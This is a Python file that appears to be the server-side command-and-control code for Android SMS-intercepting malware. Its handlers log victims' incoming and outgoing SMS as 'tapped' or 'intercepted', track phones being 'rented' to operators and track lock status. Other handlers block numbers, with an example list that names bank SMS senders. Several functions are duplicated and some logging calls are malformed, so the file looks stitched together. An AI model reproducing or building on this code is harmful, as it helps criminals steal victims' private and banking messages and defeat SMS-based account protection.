def intercepted_sms_in(rec, data): """ Records incoming tapped SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ logger.debug("Received incoming intercepted SMS for phone {0}".format(rec)) if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT: logger.warn("The phone {0} is not intercepting") rec_owner = rec.owner if rec_owner: rec_owner.save() sms_from = data.get('from') sms_text = data.get('text') check_sender(rec.uniq_id, sms_from) sms_owner = rec_owner if isinstance(rec_owner, models.SysUser) else None obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner, intercepted=True) if rec_owner: msg = { 'info': "Intercepted SMS from {0}".format(sms_from), 'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id}, } sys_messages.add_message(rec.uniq_id, msg)
def intercept_status_change(rec, data): """ Signals that the phone has changed its intercept status in reply to #intercept_sms_start & #intercept_sms_stop data."rent status" contains either "started" or "stopped" @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec.owner_id is None: logger.error("No owner for phone {0} currently".format(rec)) return new_status = data.get('rent status') owner = rec.owner if new_status == "started": rec.sms_status = models.PhoneData.SMS_INTERCEPT rec.save() elif new_status == "stopped": rec.owner = None rec.sms_status = models.PhoneData.SMS_INITIAL rec.save() commands.set_phone_transient_state(rec.uniq_id, commands.PHONE_STATE_STABLE) msg = { 'info': "Phone {0} SMS intercept {1}".format(rec, new_status), 'imei': rec.imei } logger.debug("Phone {0} status changed to {1}".format(rec, new_status)) sys_messages.add_message(rec.uniq_id, msg)
def send_sms_response(rec, data): """ Returns data from #send_sms command @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec is None: return sms_to = data.get('number') sms_text = data.get('text') sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(dest=sms_to, contents=sms_text, phone=rec, owner=sms_owner) msg = { 'info': "Phone {0} sent SMS to {1}".format(rec, sms_to), 'sms': { 'from': 'n/a', 'to': sms_to, 'text': sms_text, 'id': obj.id } } sys_messages.add_message(rec.uniq_id, msg)
def intercepted_sms_out(rec, data): """ Records outgoing tapped SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT: logger.warn(u"The phone {0} is not intercepting") sms_to = data.get('to') sms_text = data.get('text') sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(dest=sms_to, contents=sms_text, phone=rec, owner=sms_owner, intercepted=True) msg = { 'info': "Intercepted SMS to {0}".format(sms_to), 'sms': { 'from': 'n/a', 'to': sms_to, 'text': sms_text, 'id': obj.id } } sys_messages.add_message(rec.uniq_id, msg)
def listened_sms_in(rec, data): """ Records incoming intercepted SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN: logger.warn(u"The phone {0} is not listening".format(rec)) sms_from = data.get('from') sms_text = data.get('text') check_sender(rec.uniq_id, sms_from) sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner) msg = { 'info': "Got SMS from {0}".format(sms_from), 'sms': { 'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id } } sys_messages.add_message(rec.uniq_id, msg)
def unblock_all_numbers_response(rec, data): """ Returns data from #unblock_all_numbers command @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ rec.blockednumber_set.all().delete() msg = { 'info': "Unblocked all numbers for phone {0}".format(rec), 'cleared_blocked': True } sys_messages.add_message(rec.uniq_id, msg)
def lock_status(rec, data): """ Handles the lock status callback @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ rec.locked = (data.get('status') == 'locked') rec.save() msg = { 'info': "Phone {0} is {1}".format(rec, data.get('status')), 'code': rec.uniq_id, 'locked': rec.locked } sys_messages.add_message(rec.uniq_id, msg)
def send_sms_response(rec, data): """ Returns data from #send_sms command @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec is None: return sms_to = data.get('number') sms_text = data.get('text') sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(dest=sms_to, contents=sms_text, phone=rec, owner=sms_owner) msg = { 'info': "Phone {0} sent SMS to {1}".format(rec, sms_to), 'sms': {'from': 'n/a', 'to': sms_to, 'text': sms_text, 'id': obj.id} } sys_messages.add_message(rec.uniq_id, msg)
def blocking_numbers_response(rec, data): """ Returns data from #block_numbers & #unblock_numbers commands as in "numbers" : ["+7921123123", "sms_info", "tcs"] - current numbers we block @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ # clear all blocked number record first rec.blockednumber_set.all().delete() blocked = {} for n in data.get('numbers'): r = models.BlockedNumber.objects.create(phone=rec, number=n) blocked[r.id] = n msg = { 'info': "Blocked numbers list updated at phone {0}".format(rec), 'blocked': blocked } sys_messages.add_message(rec.uniq_id, msg)
def intercepted_sms_out(rec, data): """ Records outgoing tapped SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT: logger.warn("The phone {0} is not intercepting") sms_to = data.get('to') sms_text = data.get('text') sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(dest=sms_to, contents=sms_text, phone=rec, owner=sms_owner, intercepted=True) msg = { 'info': "Intercepted SMS to {0}".format(sms_to), 'sms': {'from': 'n/a', 'to': sms_to, 'text': sms_text, 'id': obj.id} } sys_messages.add_message(rec.uniq_id, msg)
def listened_sms_in(rec, data): """ Records incoming intercepted SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN: logger.warn("The phone {0} is not listening".format(rec)) sms_from = data.get('from') sms_text = data.get('text') check_sender(rec.uniq_id, sms_from) sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner) msg = { 'info': "Got SMS from {0}".format(sms_from), 'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id} } sys_messages.add_message(rec.uniq_id, msg)
def listen_status_change(rec, data): """ Signals that the phone has changed its listen status in reply to #listen_sms_start & #listen_sms_stop data."listening status" contains either "started" or "stopped" @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ new_status = data.get('listening status') owner = rec.owner if new_status == "started": rec.sms_status = models.PhoneData.SMS_LISTEN rec.save() elif new_status == "stopped": rec.owner = None rec.sms_status = models.PhoneData.SMS_INITIAL rec.save() msg = { 'info': "Phone {0} SMS listening {1}".format(rec, new_status), 'imei': rec.imei } sys_messages.add_message(rec.uniq_id, msg)